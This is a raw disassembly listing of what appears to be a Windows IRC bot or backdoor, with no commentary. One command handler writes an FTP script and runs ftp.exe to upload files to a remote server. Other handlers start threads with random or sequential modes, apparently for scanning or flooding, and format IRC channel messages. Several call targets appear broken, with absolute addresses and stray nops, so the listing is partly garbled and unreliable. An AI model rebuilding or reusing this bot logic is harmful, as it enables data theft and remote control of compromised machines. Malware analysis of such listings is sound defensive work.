--------------------------------------------------------------------------- loc_4071FD: ; CODE XREF: sub_401AC7+4EBBj ; sub_401AC7+4ED2j push 0Bh call sub_40B5F5 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41BEF9 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_4073C5 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h loc_40724F: ; CODE XREF: sub_401AC7+51D7j ; sub_401AC7+55A7j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F6C push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 push 4 push esi call sub_416C63 pop ecx test eax, eax pop ecx jnz short loc_40729A push esi push offset unk_42ABAC loc_407286: ; CODE XREF: sub_401AC7+7985j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_403F81 ; --------------------------------------------------------------------------- loc_40729A: ; CODE XREF: sub_401AC7+57B7j call near ptr 26B0D7Ah nop push eax call sub_41C058 pop ecx call sub_41C062 push 9 cdq pop ecx idiv ecx push edx call sub_41C062 push 63h cdq pop ecx idiv ecx push edx call sub_41C062 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C006 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BC88 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F6C push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C56F push [ebp+arg_24] call sub_41B9DB lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4C9270 test eax, eax push edi push esi jz short loc_407364 push offset unk_42AB3C jmp short loc_407369 ; --------------------------------------------------------------------------- loc_407364: ; CODE XREF: sub_401AC7+5894j push offset unk_42AB0C loc_407369: ; CODE XREF: sub_401AC7+589Bj call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407392 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_407392: ; CODE XREF: sub_401AC7+58ADj lea eax, [ebp+var_2C4] push eax call sub_415CEE loc_40739E: ; CODE XREF: sub_401AC7+58FCj lea eax, [ebp+var_2E5C] push 4 push eax call sub_416C63 add esp, 0Ch test eax, eax jz loc_401F6C lea eax, [ebp+var_2E5C] push eax call sub_41C545 jmp short loc_40739E ; --------------------------------------------------------------------------- loc_4073C5: ; CODE XREF: sub_401AC7+5752j push edi call sub_41BEF9 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41BEF9 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073FE push 5 pop eax mov [ebp+var_36C], eax loc_4073FE: ; CODE XREF: sub_401AC7+592Cj push 3Ch pop ecx cmp eax, ecx jbe short loc_40740B mov [ebp+var_36C], ecx loc_40740B: ; CODE XREF: sub_401AC7+593Cj push [ebp+arg_10] call sub_41BEF9 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_40742B mov [ebp+var_368], 320h loc_40742B: ; CODE XREF: sub_401AC7+5958j or [ebp+var_354], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+arg_1C], ebx jz short loc_407481 mov [ebp+arg_24], offset dword_431808 loc_407444: ; CODE XREF: sub_401AC7+599Cj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_407467 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407444 jmp short loc_407481 ; --------------------------------------------------------------------------- loc_407467: ; CODE XREF: sub_401AC7+598Ej mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_370], ecx loc_407481: ; CODE XREF: sub_401AC7+5974j ; sub_401AC7+599Ej cmp [ebp+var_370], ebx jnz short loc_407493 push offset unk_42AAD8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_407493: ; CODE XREF: sub_401AC7+59C0j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_4074CE cmp byte ptr [edi], 23h jz short loc_4074CE push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C100 push 78h push edi call sub_41C720 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_4075A8 ; --------------------------------------------------------------------------- loc_4074CE: ; CODE XREF: sub_401AC7+59D5j ; sub_401AC7+59DAj cmp [ebp+var_8FF], bl jnz short loc_4074F0 cmp [ebp+var_8FE], bl jnz short loc_4074F0 cmp [ebp+var_8EE], bl jnz short loc_4074F0 push offset unk_42AAA4 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_4074F0: ; CODE XREF: sub_401AC7+5A0Dj ; sub_401AC7+5A15j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4C92A8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4C9390 push eax lea eax, [ebp+var_484] push eax call sub_41BD70 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_4075A2 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C5B0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407596 loc_407574: ; CODE XREF: sub_401AC7+5ACDj cmp eax, ebx jz short loc_407596 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407574 loc_407596: ; CODE XREF: sub_401AC7+5AABj ; sub_401AC7+5AAFj mov [ebp+var_344], 1 jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075A2: ; CODE XREF: sub_401AC7+5A85j mov [ebp+var_344], ebx loc_4075A8: ; CODE XREF: sub_401AC7+5A02j ; sub_401AC7+5AD9j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C100 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075F9 loc_4075E6: ; CODE XREF: sub_401AC7+5B55j push esi loc_4075E7: ; CODE XREF: sub_401AC7+5B3Fj lea eax, [ebp+var_3F4] push edi push eax call sub_41C100 add esp, 0Ch jmp short loc_407624 ; --------------------------------------------------------------------------- loc_4075F9: ; CODE XREF: sub_401AC7+5B1Dj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407608 cmp byte ptr [eax], 23h jnz short loc_407608 push eax jmp short loc_4075E7 ; --------------------------------------------------------------------------- loc_407608: ; CODE XREF: sub_401AC7+5B37j ; sub_401AC7+5B3Cj mov esi, offset aF ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4075E6 mov [ebp+var_3F4], bl loc_407624: ; CODE XREF: sub_401AC7+5B30j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_407636 mov eax, offset aSequential ; "Sequential" loc_407636: ; CODE XREF: sub_401AC7+5B68j push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA3C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C5E7 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4076C4 loc_4076AE: ; CODE XREF: sub_401AC7+5BFBj cmp [ebp+var_340], ebx jnz loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_4076C4: ; CODE XREF: sub_401AC7+5BE5j call near ptr 26A0EA9h nop push eax push offset unk_42AA04 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_4076D5: ; CODE XREF: sub_401AC7+4E8Dj ; sub_401AC7+4EA4j push edi call sub_40A8E4 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41BEF9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BD70 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4C9390 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset dword_40CA04 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4077CA loc_4077B4: ; CODE XREF: sub_401AC7+5D01j cmp [ebp+var_4D0], ebx jnz loc_403D2D push 32h nop call near ptr 26A053Bh jmp short loc_4077B4 ; --------------------------------------------------------------------------- loc_4077CA: ; CODE XREF: sub_401AC7+5CEBj nop call near ptr 26A0EA9h push eax push offset unk_42A978 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_4077DB: ; CODE XREF: sub_401AC7+4E50j ; sub_401AC7+4E67j push edi call sub_41BEF9 imul eax, 234h pop ecx cmp byte_43C258[eax], bl jz loc_409643 cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] call sub_41B960 push edi mov esi, eax call sub_41B960 push [ebp+arg_8] add esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A96C push eax call sub_41C006 add esp, 20h cmp esi, ebx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_409862 push edi call sub_41BEF9 imul eax, 234h add esp, 18h cmp byte ptr dword_43C040[eax], 73h jnz loc_409643 push esi push edi call sub_41BEF9 imul eax, 234h pop ecx add eax, offset byte_43C258 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" loc_4078C3: ; CODE XREF: sub_401AC7+5EF6j lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 jmp loc_404068 ; --------------------------------------------------------------------------- loc_4078ED: ; CODE XREF: sub_401AC7+4E22j ; sub_401AC7+4E39j push edi call sub_41BEF9 imul eax, 234h pop ecx cmp byte_43C258[eax], bl jz loc_409643 cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] call sub_41B960 push edi mov esi, eax call sub_41B960 push [ebp+arg_8] add esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_409862 push edi call sub_41BEF9 imul eax, 234h add esp, 18h cmp byte ptr dword_43C040[eax], 73h jnz loc_409643 push esi push edi call sub_41BEF9 imul eax, 234h pop ecx add eax, offset byte_43C258 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_4078C3 ; --------------------------------------------------------------------------- loc_4079C2: ; CODE XREF: sub_401AC7+4DF4j ; sub_401AC7+4E0Bj push edi call dword_4C9344 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41BEF9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BD70 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4C9390 push eax lea eax, [ebp+var_2C4] push offset unk_42A914 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset byte_40C913 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407AA4 loc_407A8E: ; CODE XREF: sub_401AC7+5FDBj cmp [ebp+var_670], ebx jnz loc_403D2D push 32h nop call near ptr 26A053Bh jmp short loc_407A8E ; --------------------------------------------------------------------------- loc_407AA4: ; CODE XREF: sub_401AC7+5FC5j call near ptr 26A0EA9h nop push eax push offset unk_42AA04 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_407AB5: ; CODE XREF: sub_401AC7+4DC6j ; sub_401AC7+4DDDj push edi call sub_41BEF9 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BD70 push [ebp+arg_0] call sub_41BEF9 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push 80h push eax mov [ebp+var_123C], esi call sub_41C100 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3AD add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410D69 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407B9E loc_407B88: ; CODE XREF: sub_401AC7+60D5j cmp [ebp+var_111C], ebx jnz loc_403D2D push 32h nop call near ptr 26A053Bh jmp short loc_407B88 ; --------------------------------------------------------------------------- loc_407B9E: ; CODE XREF: sub_401AC7+60BFj call near ptr 26A0EA9h nop push eax push offset unk_42A894 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_407BAF: ; CODE XREF: sub_401AC7+4D98j ; sub_401AC7+4DAFj push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BD70 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BD70 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41BEF9 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407C08 push 10h push ebx push eax call sub_41C52E add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407C0E ; --------------------------------------------------------------------------- loc_407C08: ; CODE XREF: sub_401AC7+612Bj mov [ebp+var_266C], ebx loc_407C0E: ; CODE XREF: sub_401AC7+613Fj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407C25 push esi call sub_41BEF9 pop ecx mov [ebp+var_2670], eax jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C25: ; CODE XREF: sub_401AC7+614Dj mov [ebp+var_2670], ebx loc_407C2B: ; CODE XREF: sub_401AC7+615Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_2660], eax mov eax, [ebp+var_8] mov [ebp+var_2664], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A868 push eax call sub_41C006 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3AD add esp, 28h mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_416754 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407CD9 loc_407CC3: ; CODE XREF: sub_401AC7+6210j cmp [ebp+var_265C], ebx jnz loc_4071DD push 32h nop call near ptr 26A053Bh jmp short loc_407CC3 ; --------------------------------------------------------------------------- loc_407CD9: ; CODE XREF: sub_401AC7+61FAj nop call near ptr 26A0EA9h push eax push offset unk_42A828 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407CEA: ; CODE XREF: sub_401AC7+4D6Aj ; sub_401AC7+4D81j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3290], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A7EC push eax mov [ebp+var_3498], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 12h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset word_4155D6 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407DC1 loc_407DAB: ; CODE XREF: sub_401AC7+62F8j cmp [ebp+var_3288], ebx jnz loc_4071DD push 32h call near ptr 26A053Bh nop jmp short loc_407DAB ; --------------------------------------------------------------------------- loc_407DC1: ; CODE XREF: sub_401AC7+62E2j nop call near ptr 26A0EA9h push eax push offset unk_42A7B4 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407DD2: ; CODE XREF: sub_401AC7+4C3Dj ; sub_401AC7+4C54j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A784 push eax mov [ebp+var_3070], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 0Eh push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414310 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407EA9 loc_407E93: ; CODE XREF: sub_401AC7+63E0j cmp [ebp+var_2E60], ebx jnz loc_4071DD push 32h nop call near ptr 26A053Bh jmp short loc_407E93 ; --------------------------------------------------------------------------- loc_407EA9: ; CODE XREF: sub_401AC7+63CAj call near ptr 26A0EA9h nop push eax push offset unk_42A74C jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407EBA: ; CODE XREF: sub_401AC7+4B14j ; sub_401AC7+4B2Bj ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BD70 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A71C push eax mov [ebp+var_3CF0], esi call sub_41C006 add esp, 50h lea eax, [ebp+var_2C4] push ebx push 0Dh push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_41359D push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407FA2 loc_407F8C: ; CODE XREF: sub_401AC7+64D9j cmp [ebp+var_3A60], ebx jnz loc_4071DD push 32h call near ptr 26A053Bh nop jmp short loc_407F8C ; --------------------------------------------------------------------------- loc_407FA2: ; CODE XREF: sub_401AC7+64C3j nop call near ptr 26A0EA9h push eax push offset unk_42A6E4 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407FB3: ; CODE XREF: sub_401AC7+4AE6j ; sub_401AC7+4AFDj push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BD70 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FFE push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BD70 add esp, 0Ch loc_407FFE: ; CODE XREF: sub_401AC7+6523j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3AD add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017E7 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40808A loc_408074: ; CODE XREF: sub_401AC7+65C1j cmp [ebp+var_1620], ebx jnz loc_406C42 push 32h nop call near ptr 26A053Bh jmp short loc_408074 ; --------------------------------------------------------------------------- loc_40808A: ; CODE XREF: sub_401AC7+65ABj nop call near ptr 26A0EA9h push eax push offset dword_42A678 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40809B: ; CODE XREF: sub_401AC7+4AA6j ; sub_401AC7+4ABDj push [ebp+arg_18] call sub_41BEF9 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408188 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C100 xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C100 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_1D60], eax mov eax, [ebp+var_8] mov [ebp+var_1D5C], eax push edi push offset unk_42A64C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3AD add esp, 38h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset dword_4139E4 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408177 loc_408165: ; CODE XREF: sub_401AC7+66AEj cmp [ebp+var_1D58], ebx jnz short loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_408165 ; --------------------------------------------------------------------------- loc_408177: ; CODE XREF: sub_401AC7+669Cj nop call near ptr 26A0EA9h push eax push offset unk_42A614 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_408188: ; CODE XREF: sub_401AC7+65E5j push offset unk_42A5DC jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408192: ; CODE XREF: sub_401AC7+4A78j ; sub_401AC7+4A8Fj push [ebp+arg_18] push edi nop call near ptr 26C0AC4h test eax, eax jz short loc_4081BF push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B8 push 200h push eax call sub_41C100 add esp, 14h jmp short loc_4081DE ; --------------------------------------------------------------------------- loc_4081BF: ; CODE XREF: sub_401AC7+66D7j push offset dword_42A5AC call sub_41864A push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 add esp, 10h loc_4081DE: ; CODE XREF: sub_401AC7+20C9j ; sub_401AC7+2E99j ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081FB: ; CODE XREF: sub_401AC7+5731j call sub_409862 add esp, 14h jmp loc_40830C ; --------------------------------------------------------------------------- loc_408208: ; CODE XREF: sub_401AC7+4A4Aj ; sub_401AC7+4A61j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C100 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408242 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_408242 push eax lea eax, [ebp+var_3E04] push eax call sub_41C006 pop ecx pop ecx loc_408242: ; CODE XREF: sub_401AC7+6759j ; sub_401AC7+676Aj push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A57C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset byte_416FFF push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4082F1 loc_4082DF: ; CODE XREF: sub_401AC7+6828j cmp [ebp+var_3CF4], ebx jnz short loc_40830C push 32h nop call near ptr 26A053Bh jmp short loc_4082DF ; --------------------------------------------------------------------------- loc_4082F1: ; CODE XREF: sub_401AC7+6816j nop call near ptr 26A0EA9h push eax push offset unk_42A540 loc_4082FD: ; CODE XREF: sub_401AC7+900j ; sub_401AC7+A3Bj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_40830C: ; CODE XREF: sub_401AC7+7BCj ; sub_401AC7+927j ... push 1 pop esi jmp loc_406C66 ; --------------------------------------------------------------------------- loc_408314: ; CODE XREF: sub_401AC7+4A1Cj ; sub_401AC7+4A33j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BD10 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41BEF9 add esp, 10h cmp eax, esi jnz short loc_408351 mov [ebp+var_638], 5 loc_408351: ; CODE XREF: sub_401AC7+687Fj cmp [ebp+var_C], ebx jz loc_406C42 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406C42 lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 268033Fh test eax, eax jnz short loc_40839C push offset unk_42A51C jmp loc_40851D ; 